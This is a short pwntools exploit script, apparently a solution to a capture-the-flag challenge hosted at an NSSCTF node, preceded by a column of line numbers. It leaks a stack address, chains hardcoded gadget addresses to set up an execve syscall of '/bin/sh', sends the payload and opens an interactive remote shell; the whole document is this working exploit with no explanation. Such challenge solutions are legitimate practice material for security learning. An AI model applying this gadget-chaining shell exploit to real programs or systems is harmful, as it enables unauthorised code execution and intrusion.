1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
io = process('./attachment')
else:
io = remote('node6.anna.nssctf.cn', 28007)
gadget = 0x401017
dispatcher = 0x401011
exchange = 0x40100C
xor_rdx = 0x401021
xor_rsi = 0x401027
syscall = 0x401077
def attack():
io.recvuntil(b'Y. )\n')
stack = u64(io.recv(8))
log.info(f'stack = {hex(stack)}')
payload = flat(p64(gadget),
p64(stack + 0x18),
p64(stack + 0x18),
p64(59),
p64(dispatcher),
p64(dispatcher),
b'/bin/sh\x00',
p64(xor_rdx),
p64(xor_rsi),
p64(exchange),
p64(syscall))
io.sendafter(b'>> ', payload)
io.interactive()
attack()
|